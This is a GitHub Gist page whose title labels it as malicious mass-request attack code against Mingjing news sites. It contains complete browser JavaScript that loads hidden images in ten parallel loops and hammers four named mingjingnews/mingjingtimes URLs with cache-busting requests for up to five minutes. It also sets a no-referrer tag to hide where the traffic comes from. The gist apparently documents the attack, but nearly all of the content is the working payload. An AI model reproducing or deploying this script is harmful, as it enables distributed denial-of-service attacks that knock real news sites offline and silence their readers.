-
-
Save xxdesmus/8760a4de6d67876ad7e4504c4857525a to your computer and use it in GitHub Desktop.
明鏡時報惡意大量請求攻擊程式碼
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) { | |
var MAX_TIME = 300000; | |
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/']; | |
var MAX_COUNT = 100000000; | |
var TIMEGAP = 500; | |
var THREAD = 10; | |
var START_CLOCK = 1; | |
function unixtime() { | |
var dt = new Date(); | |
return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000 | |
} | |
document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML; | |
var p_img_list = []; | |
var timer_list = []; | |
var starttime = null; | |
var requesttime_list = []; | |
var responsetime_list = []; | |
var url = ''; | |
var count = 0; | |
function imgdel(index) { | |
var p_img_tmp = p_img_list[index]; | |
if (p_img_tmp != null) { | |
document.body.removeChild(p_img_tmp) | |
} | |
p_img_list[index] = null; | |
if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) { | |
setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index])) | |
} | |
} | |
function isImgComplete(index) { | |
if (p_img_list[index] == null) { | |
return | |
} | |
if (p_img_list[index].complete) { | |
window.clearInterval(timer_list[index]); | |
responsetime_list[index] = new Date().getTime(); | |
imgdel(index) | |
} else { | |
if (new Date().getTime() - requesttime_list[index] > TIMEGAP) { | |
window.clearInterval(timer_list[index]); | |
imgdel(index) | |
} | |
} | |
} | |
function imgadd(index) { | |
p_img_tmp = document.body.appendChild(document.createElement('img')); | |
url = url_list[unixtime() % url_list.length]; | |
p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100); | |
p_img_tmp.style.display = 'none'; | |
p_img_list[index] = p_img_tmp; | |
requesttime_list[index] = responsetime_list[index] = new Date().getTime(); | |
timer_list[index] = setInterval("isImgComplete(" + index + ")", 50); | |
count = count + 1 | |
} | |
function start() { | |
starttime = new Date().getTime(); | |
for (var ti = 0; ti < THREAD; ti += 1) { | |
p_img_list[ti] = null; | |
timer_list[ti] = null; | |
requesttime_list[ti] = null; | |
responsetime_list[ti] = null; | |
imgadd(ti) | |
} | |
} | |
var now = new Date(); | |
setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment